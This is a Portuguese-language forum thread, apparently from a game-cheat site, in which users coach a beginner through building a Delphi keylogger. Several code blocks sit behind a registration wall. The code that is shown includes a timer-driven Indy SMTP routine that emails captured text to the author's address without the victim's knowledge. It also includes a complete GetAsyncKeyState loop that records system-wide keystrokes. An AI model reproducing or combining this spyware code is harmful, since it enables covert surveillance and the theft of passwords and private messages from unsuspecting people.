Zaphey venha cá , me ajudar (;

[jaumlokednoob 0]

Criei o form com 1 timer , e 1 memo ;)

 

 

Minha duvida é o seguinte:

 

 

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Coloquei a function

 

 

E depois

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

 

Isto aqui no OnTimer do Timer1 /\

 

 

Agora a grande duvida, como faço para que tudo digitado vá a meu e-mail?

Me ajude x;

[- NOOB 2]

de uma olhada neste topico :

http://www.webcheats.com.br/forum/delphi-vb/355457-tutorial-delphi-programa-de-envio-de-emails.html

rs

concerteza vai te ajudar , Abraços!

[Zaphey 2]

'Mescle' seu conhecimento e junte isso dai com esse tópico do dragão chefe: http://www.webcheats.com.br/forum/delphi-vb/355457-tutorial-delphi-programa-de-envio-de-emails.html

 

@Edit:

Mal, postei junto com o - NOOB

[jaumlokednoob 0]

Consegui um pouco mais !

 

 

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[Zaphey 2]

Tente assim:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Dica:

Memo = Lines

ListBox = Items

Edit = Text

Label = Caption

 

Tipo, coloque o código de enviar para o email em um outro timer da interval que desejar receber os logs

[jaumlokednoob 0]

Putz me ajudou 99% agora só me diz uma coisa, como faço para enviar tudo sem que ela precise apertar nada? ( colocar o código no form sera q funcionaria ? )

[V!$h&® 0]

Cara so adiciona isso em um Ttimer, de tanto em tanto vai mandar uma mensagem para o seu email

 

Abraços

[Zaphey 2]

Então coloque o code em um timer de interval 100000 por exemplo

[jaumlokednoob 0]

[Error] Unit1.pas(149): Incompatible types: 'String' and 'TStrings'

 

pq deu isso?

[V!$h&® 0]

As string sao imcompativeis

[Zaphey 2]

Me mostra a linha em que está o erro

[jaumlokednoob 0]

procedure TForm1.Timer2Timer(Sender: TObject);

begin

IdSMTP1.AuthenticationType := atLogin;

 

idSMTP1.Host := 'smtp.mail.yahoo.com.br' ;

 

idSMTP1.Port := 25;

 

idSMTP1.Username := '[email protected]';

 

idSMTP1.Password := 'SuaSenha';

 

idSMTP1.Connect(30000);

 

IdMessage1.From.Address := '[email protected]';

 

IdMessage1.Sender.Name := '[email protected]';

 

IdMessage1.Sender.Address := '[email protected]';

 

IdMessage1.Recipients.EMailAddresses := '[email protected]';

 

IdMessage1.Subject := Memo1.Lines;

 

IdSMTP1.Send(IdMessage1);

 

IdSMTP1.Disconnect;

end;

[Zaphey 2]

Tente:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[jaumlokednoob 0]

Continua a persistir o erro. |;

[xXGabrielGTAXx 3]

jaum o erro que da e esse ?

[Error] Unit1.pas(31): Incompatible types: 'TStrings' and 'TCaption'

[jaumlokednoob 0]

não , é este

 

[Error] Unit1.pas(149): Incompatible types: 'String' and 'TStrings'

[V!$h&® 0]

IdMessage1.Subject := Memo1.Text

 

 

Abraços

[xXGabrielGTAXx 3]

Hm deu esse erro quando mandei para outro Memo!

Tenta assim:

IdMessage1.Subject := Memo1.Lines[0];

To tentando fazer para que copie todo texto (esse so copia a primeria linha ._.)

@Edit : nosso amigo V!$h&® ja mandou o codigo k

Pensei q tinha que copiar todas linha e.e

[jaumlokednoob 0]

Opa vlw a atenção Gabriel mas consegui com o código do VISHER

 

 

Valeu mt a atenção tbm do Zaphey (;

[V!$h&® 0]

Cara tente assim,

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[jaumlokednoob 0]

Só tem 1 problema grave D: , ele não pega oque eu digito fora do programa D:

[xXGabrielGTAXx 3]

Tipo você esta fazendo KL neh?

Se estiver fazendo tenta isso

 

 

function Coloca(txt: String): String;

var

ArquivoTexto: TextFile;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

try

try

"Aki Seu Codigo"

end;

end;

 

E no Timer1

 

procedure TForm1.Timer1Timer(Sender: TObject);

var keyloop: Integer;

begin

keyloop:=0;

repeat

if GetAsyncKeyState(keyloop)= -32767 then

begin

case keyloop of

1: Coloca(' [Click] ');

2: Coloca(' [Click >] ');

4: Coloca(' [Click Roda] ');

8: Coloca(' [backSpace] ');

9: Coloca(' [Tab] ');

12: Coloca(' [Alt] ');

13: Coloca(' [Enter] ');

VK_LSHIFT: Coloca(' [shift <] ');

VK_RSHIFT: Coloca(' [shift >] ');

VK_LCONTROL: Coloca(' [Ctrl <] ');

VK_RCONTROL: Coloca(' [Ctrl >] ');

VK_LMENU: Coloca(' [Alt <] ');

VK_RMENU: Coloca(' [Alt >] ');

19: Coloca(' [Pause] ');

20: Coloca(' [CapsLock] ');

21: Coloca(' [PageUp] ');

27: Coloca(' [Esc] ');

32: Coloca(' ');

33: Coloca(' [PageUp] ');

34: Coloca(' [PageDown] ');

35: Coloca(' [End] ');

36: Coloca(' [Home] ');

37: Coloca(' [seta <] ');

38: Coloca(' [seta ^] ');

39: Coloca(' [seta >] ');

40: Coloca(' [seta v] ');

44: Coloca(' [PrintScreen] ');

45: Coloca(' [insert] ');

46: Coloca(' [Del] ');

65..90: Coloca(Chr(keyloop));

91: Coloca(' [Win <] ');

92: Coloca(' [Win >] ');

93: Coloca(' [Menu PopUp] ');

96: Coloca(' [Num 0] ');

97: Coloca(' [Num 1] ');

98: Coloca(' [Num 2] ');

99: Coloca(' [Num 3] ');

100: Coloca(' [Num 4] ');

101: Coloca(' [Num 5] ');

102: Coloca(' [Num 6] ');

103: Coloca(' [Num 7] ');

104: Coloca(' [Num 8] ');

105: Coloca(' [Num 9] ');

106: Coloca(' [Num *] ');

107: Coloca(' [Num +] ');

109: Coloca(' [Num -] ');

110: Coloca(' [Num Del] ');

111: Coloca(' [Num /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NumLock] ');

145: Coloca(' [scrollLock] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca('''');

193: Coloca('/');

194: Coloca(' [Num .] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (keyloop>=41) and (keyloop <= 63) then

Coloca(Chr(keyloop));

end; //case;

end;

inc(keyloop);

until

keyloop = 255;

end;

 

 

Caso não esteja manda a source que eu tento ajudar :D

[jaumlokednoob 0]

Onde está "seu código aki " ponho oque? *-*

[V!$h&® 0]

Cara, use a seguinte função

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Em um TTimer você adiciona o codigo abaixo, retire o begin e o end

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[jaumlokednoob 0]

Ta e como faço pra enviar para meu e-mail ?